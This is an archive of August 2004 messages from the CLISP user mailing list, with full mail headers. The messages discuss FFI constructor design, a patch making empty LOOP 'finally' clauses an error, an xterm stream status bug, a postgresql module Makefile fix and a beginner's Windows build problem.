Thu Aug 5 09:58:06 2004 X-Original-Date: Thu, 5 Aug 2004 18:57:47 +0200 Hi, Sam wrote: >this is what register_foreign_variable() does. >would you like to export register_foreign_function() too? No. register_*()'s purpose is solely for making stuff defined in modules known. The only similarity is that they of course have to allocate_foreign_*(). >FOREIGN-VARIABLE can just check if the type argument is a list and call >PARSE-C-TYPE if necessary. I don't like this DWIM polymorphism. I'm for well defined types and well-layered interfaces. What you propose here is for a function from a lower-level to call out to a higher-level. Please keep layers separated. This DWIM stuff also adds complexity. E.g. instead of a parse-c-type compiler-macro optimizer, you now also need one for foreign-variable... I agree that from a user POV (supposedly mostly using the external c-type representation), an interface at this level would be nice to have. But I suppose that somebody using the foreign-variable constructor may also want to know about parse-c-type, so I see no problem. At least, I'd put this issue into the "maybe make (how??) CAST etc. also operate directly on foreign-variable objects" open topic. Regards, Jorg Hohle. From sds@gnu.org Thu Aug 05 10:17:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bslrr-0007R2-Q0 for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 10:17:27 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bslrr-0005Yq-3R for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 10:17:27 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i75HHGs2005149; Thu, 5 Aug 2004 13:17:16 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301106B4C@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 5 Aug 2004 18:57:47 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301106B4C@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: FOREIGN-VARIABLE constructor Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 5 10:18:03 2004 X-Original-Date: Thu, 05 Aug 2004 13:17:16 -0400 > * Hoehle, Joerg-Cyril [2004-08-05 18:57:47 +0200]: > > Sam wrote: >>this is what register_foreign_variable() does. >>would you like to export register_foreign_function() too? > No. register_*()'s purpose is solely for making stuff defined in > modules known. The only similarity is that they of course have to > allocate_foreign_*(). so you don't want to register these variables/functions in O(foreign_variable_table)/O(foreign_function_table). why give them a name then? -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is a way of life. C is a way of death. From sds@gnu.org Thu Aug 05 12:11:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BsneK-0005T2-4K for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 12:11:36 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BsneJ-0004vs-ID for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 12:11:36 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i75JBHs2009946; Thu, 5 Aug 2004 15:11:18 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040804172012.6276D4DA27@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Wed, 4 Aug 2004 19:20:12 +0200 (CEST)") References: <20040804172012.6276D4DA27@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, , Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.4 MANY_EXCLAMATIONS Subject has many exclamations Subject: [clisp-list] Re: INCOMPATIBLE CHANGE! loop finally compound+, not compound* ! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 5 12:12:03 2004 X-Original-Date: Thu, 05 Aug 2004 15:11:17 -0400 : initial-final::= initially compound-form+ | finally compound-form+ The appended patch makes (loop for i from 1 to 10 finally return i) illegal as required by the ANSI CL. The code above "looks reasonable" (to whom?) and "works as expected" (by whom?), i.e., returns 11 in both CLISP and LW. It signals an error in CMUCL. (loop initially for i from 1 to 10) elicits only a warning even though it is illegal in ANSI CL. The proposed patch incompatibly changes the behavior, so that both initially and finally are treated identically (as specified in ANSI CL) and require non-empty list of forms (also, as specified in ANSI CL). The code which relies on the current behavior is non-portable an non-compliant, and should be changes regardless of whether this proposal is accepted or rejected. This proposal is follows the CLISP tradition of strict compliance and signaling errors in all questionable areas. Unless there is a strong feeling to the contrary, I will check in this patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k As a computer, I find your faith in technology amusing. --- loop.lisp 11 Jun 2004 09:32:30 -0400 1.27 +++ loop.lisp 05 Aug 2004 15:06:30 -0400 @@ -328,11 +328,8 @@ (return)) (push (pop body-rest) list)) (nreverse list))) - (parse-nonempty-progn (kw) ;; after kw: parses {expr}* (CLtL2) or {expr}+ (CLHS) - (let ((exprs (parse-progn))) - (unless exprs - (warn (TEXT "~S: missing forms after ~A") 'loop (symbol-name kw))) - exprs)) + (parse-nonempty-progn (kw) ;; after kw: parses {expr}+ + (or (parse-progn) (loop-syntax-error kw))) (parse-unconditional () ;; parse an unconditional ;; unconditional ::= {do | doing} {expr}* ;; unconditional ::= return expr @@ -521,8 +518,8 @@ ; main ::= clause | termination | initially | finally | ; with | for-as | repeat ; termination ::= {while | until | always | never | thereis} expr - ; initially ::= initially {expr}* - ; finally ::= finally { unconditional | {expr}* } + ; initially ::= initially {expr}+ + ; finally ::= finally {expr}+ ; with ::= with {var-typespec [= expr]}+{and} ; for-as ::= {for | as} {var-typespec ...}+{and} ; repeat ::= repeat expr @@ -557,9 +554,7 @@ (push `(PROGN ,@(parse-nonempty-progn kw)) initially-code)) ((FINALLY) (pop body-rest) - (push (or (parse-unconditional) - `(PROGN ,@(parse-nonempty-progn kw))) - finally-code)) + (push `(PROGN ,@(parse-nonempty-progn kw)) finally-code)) ((WITH FOR AS REPEAT) (pop body-rest) (when already-within-main From Joerg-Cyril.Hoehle@t-systems.com Fri Aug 06 00:47:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BszRo-0006zw-L9 for clisp-list@lists.sourceforge.net; Fri, 06 Aug 2004 00:47:28 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BszRo-0002Q5-1T for clisp-list@lists.sourceforge.net; Fri, 06 Aug 2004 00:47:28 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 6 Aug 2004 09:47:11 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 6 Aug 2004 09:47:16 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301106B89@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: INCOMPATIBLE CHANGE! loop finally compound+, not compound* ! MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.4 MANY_EXCLAMATIONS Subject has many exclamations Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 6 00:48:02 2004 X-Original-Date: Fri, 6 Aug 2004 09:47:15 +0200 Hi, Sam wrote: >(loop for i from 1 to 10 finally return i) >The code above "looks reasonable" (to whom?) and "works as >expected" (by whom?) I remember myself writing such code. Maybe CLtL2 was different? Maybe return in finally is a left-over from the MIT-loop implementation which was widely used some years ago. I preferred using return in finally instead of (return #) because the former seems like a loop-specific keyword/clause while the latter is the throw-out of the BLOCK construct, which has little to do with loop per se (except that LOOP implicitly creates a block). Reading CLHS now I realize that RETURN as a LOOP special has no place in FINALLY. Ok, I dug up CLtLII: http://www.supelec.fr/docs/cltl/clm/node240.html#SECTION003032000000000000000 o "The finally construct [...]. An unconditional clause can also follow the loop keyword finally." "unconditional execution o The return construct [...]" In other words, here you are deliberately throwing out CLtLII out of CLISP. I agree that CLtL1 is history, though. Is it worth being incompatible with CLtLII like this? >The code which relies on the current behavior is non-portable an >non-compliant, in ANSI at least. There seems to be a specific finally return ANSI issue #223: "14. Moon #26 -- Eliminate the ability to put a LOOP keyword after FINALLY" >This proposal is follows the CLISP tradition of strict compliance and >signaling errors in all questionable areas. There's also some tradition for blindly applying by the letter some debatable/unclear parts of ANSI. :-) >Unless there is a strong feeling to the contrary, >I will check in this patch. Go for it, at least in ANSI mode. I'm pretty sure some (esp. old) code will break, so it now can be improved. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri Aug 06 01:02:22 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BszgE-0001el-4Q for clisp-list@lists.sourceforge.net; Fri, 06 Aug 2004 01:02:22 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BszgA-0004Jn-3s for clisp-list@lists.sourceforge.net; Fri, 06 Aug 2004 01:02:21 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 6 Aug 2004 10:02:06 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 6 Aug 2004 10:00:05 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301106BA1@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] AW: FOREIGN-VARIABLE constructor Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 6 01:03:07 2004 X-Original-Date: Fri, 6 Aug 2004 10:00:04 +0200 Hi, >so you don't want to register these variables/functions in >O(foreign_variable_table)/O(foreign_function_table). No. That's solely a mechanism to make modules work. >why give them a name then? Because the name slot is there and because the name is printed. So this can help people manipulate those pesky pointers. It's informative, no more. It's especially useful with the foreign-function constructor (not shown). One of my initial APIs was ;; already part of my DYNLOAD module (defun foreign-address-function (name address ctype) (check-type name (or null string)) i.e. one was obliged to supply a name or explicitly say NIL. Another API was: (defun ensure-foreign-function (ffunction ctype &optional name) #) ;- sort of cast for foreign-function objects. The foreign variable and -function constructors must look very similar. Probably people are more used to naming functions than variables or locations. BTW, here's a deprecated entry out of my old FFI hacks toolbox ;this one does not preserve the foreign-address object, which is bad '(defun fcast (ff c-type) "Create a funcall'able FOREIGN-FUNCTION object at the given address" ;;TODO add setf foreign-pointer-base (with-c-var (new-function 'c-pointer (foreign-address ff)) (cast new-function c-type))) ;(fcast #'c-self '(c-function (:return-type int))) It's deprecated in favour of the foreign-address-function or foreign-function constructor which exhibits nicer properties. It gives you an idea of what can be done with just plain exported FFI forms. Regards, Jorg Hohle From pascal@informatimago.com Wed Aug 11 09:55:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BuwNl-0003Pv-CC for clisp-list@lists.sourceforge.net; Wed, 11 Aug 2004 09:55:21 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BuwNk-0002yq-Oe for clisp-list@lists.sourceforge.net; Wed, 11 Aug 2004 09:55:21 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C68BD586E7; Wed, 11 Aug 2004 18:55:15 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3968B65913; Wed, 11 Aug 2004 18:55:09 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20040811165509.3968B65913@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] socket-status on xterm pipe --> :ERROR instead of :INPUT Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 11 10:04:43 2004 X-Original-Date: Wed, 11 Aug 2004 18:55:09 +0200 (CEST) (socket:socket-status (ext:make-xterm-io-stream)) --> :ERROR ; 1 instead of the more useful, and specified: (socket:socket-status (ext:make-xterm-io-stream)) --> :INPUT ; 1 Note that: (let ((io (ext:make-xterm-io-stream))) (socket:socket-status io) (read-line io)) returns the line typed in into the xterm. -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From eichb@matrix.pc-craft.com Wed Aug 11 22:19:12 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bv7zb-0001tU-Te for clisp-list@lists.sourceforge.net; Wed, 11 Aug 2004 22:19:11 -0700 Received: from [216.12.200.90] (helo=matrix.pc-craft.com) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.34) id 1Bv7zb-0002S8-LK for clisp-list@lists.sourceforge.net; Wed, 11 Aug 2004 22:19:11 -0700 Received: from eichb by matrix.pc-craft.com with local (Exim 4.34) id 1Bv7zi-00033n-42 for clisp-list@lists.sourceforge.net; Thu, 12 Aug 2004 00:19:18 -0500 From: "Steve Eichblatt" To: clisp-list@lists.sourceforge.net X-Mailer: NeoMail 1.26 X-IPAddress: 68.122.12.17 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Message-Id: X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - matrix.pc-craft.com X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [32237 738] / [47 12] X-AntiAbuse: Sender Address Domain - matrix.pc-craft.com X-Source: X-Source-Args: X-Source-Dir: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] postgresql Makefile missing clisp definition Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 11 22:20:02 2004 X-Original-Date: Thu, 12 Aug 2004 00:19:18 -0500 Hello all, I recently succeeded in getting the postgresql module installed into my CLISP. I had many problems along the way, most of there were my errors, but one of them may have been a bug in the clisp distribution (i am using clisp-2.33). The Makefile (and the Makefile.in) in the src/postgresql directory has the line CLISP = which i replaced with CLISP = /clisp-2.33/src/clisp and it worked. I hope this helps, and many thanks for clisp, i love it! -- Steve Eichblatt steve@eichblatt.us From sds@gnu.org Thu Aug 12 07:18:39 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BvGPe-00080d-Jp for clisp-list@lists.sourceforge.net; Thu, 12 Aug 2004 07:18:38 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BvGPe-0004Hj-6Y for clisp-list@lists.sourceforge.net; Thu, 12 Aug 2004 07:18:38 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7CEIJJW009728; Thu, 12 Aug 2004 10:18:21 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040811165509.3968B65913@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Wed, 11 Aug 2004 18:55:09 +0200 (CEST)") References: <20040811165509.3968B65913@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: socket-status on xterm pipe --> :ERROR instead of :INPUT Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 12 07:19:03 2004 X-Original-Date: Thu, 12 Aug 2004 10:18:19 -0400 > * Pascal J.Bourguignon [2004-08-11 18:55:09 +0200]: > > (socket:socket-status (ext:make-xterm-io-stream)) --> :ERROR ; 1 > > instead of the more useful, and specified: > > (socket:socket-status (ext:make-xterm-io-stream)) --> :INPUT ; 1 > > Note that: > > (let ((io (ext:make-xterm-io-stream))) > (socket:socket-status io) > (read-line io)) > > returns the line typed in into the xterm. I simplified make-xterm-io-stream, please try CVS head. thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k UNIX, car: hard to learn/easy to use; Windows, bike: hard to learn/hard to use. From sds@gnu.org Thu Aug 12 07:25:07 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BvGVv-0001Th-Ck for clisp-list@lists.sourceforge.net; Thu, 12 Aug 2004 07:25:07 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BvGVu-0002US-SC for clisp-list@lists.sourceforge.net; Thu, 12 Aug 2004 07:25:07 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7CEOrJW012421; Thu, 12 Aug 2004 10:24:53 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Steve Eichblatt" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Steve Eichblatt's message of "Thu, 12 Aug 2004 00:19:18 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Steve Eichblatt" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: postgresql Makefile missing clisp definition Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 12 07:26:00 2004 X-Original-Date: Thu, 12 Aug 2004 10:24:53 -0400 > * Steve Eichblatt [2004-08-12 00:19:18 -0500]: > > The Makefile (and the Makefile.in) in the src/postgresql directory has > the line > > CLISP = that's because modules are usually build as a part of the CLISP build process, and the main CLISP makefile will pass CLISP='...' to make. -- Sam Steingold (http://www.podval.org/~sds) running w2k Booze is the answer. I can't remember the question. From airobot008@hotmail.com Thu Aug 12 20:38:04 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BvStH-0006Cg-4n for clisp-list@lists.sourceforge.net; Thu, 12 Aug 2004 20:38:03 -0700 Received: from bay14-f41.bay14.hotmail.com ([64.4.49.41] helo=hotmail.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BvStG-0003C6-R6 for clisp-list@lists.sourceforge.net; Thu, 12 Aug 2004 20:38:03 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 12 Aug 2004 20:37:57 -0700 Received: from 218.75.108.64 by by14fd.bay14.hotmail.msn.com with HTTP; Fri, 13 Aug 2004 03:37:56 GMT X-Originating-IP: [218.75.108.64] X-Originating-Email: [airobot008@hotmail.com] X-Sender: airobot008@hotmail.com From: "AI Robot" To: clisp-list@lists.sourceforge.net Bcc: Mime-Version: 1.0 Content-Type: text/plain; charset=gb2312; format=flowed Message-ID: X-OriginalArrivalTime: 13 Aug 2004 03:37:57.0484 (UTC) FILETIME=[ECAD72C0:01C480E6] X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_GREATERTHAN BODY: Text interparsed with > 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] could you help me? a new learner Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 12 20:41:02 2004 X-Original-Date: Fri, 13 Aug 2004 03:37:56 +0000 hi, when I compiled the /src using MSVC6 in windowXP, the compiler show something like below. could you tell me, why? Thank you. ******************** E:\study\clisp-2.33.2\src>nmake Microsoft (R) Program Maintenance Utility Version 6.00.8168.0 Copyright (C) Microsoft Corp 1988-1998. All rights reserved. ..\utils\gcc-cccp\cccp -U__GNUC__ -+ -D_M_IX86=500 -D_WIN32 -IC:\PROGRA~ 1\MICROS~3\VC98/include -D_MSC_VER=1300 -D_INTEGRAL_MAX_BITS=64 -IC:\PROGRA~1\MI CROS~3\VC98/PlatformSDK/include -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSE GV -I. spvwtabf.c > spvwtabf.i.c cl -G5 -Os -Oy -Ob1 -Gs -Gf -Gy -DUNICODE 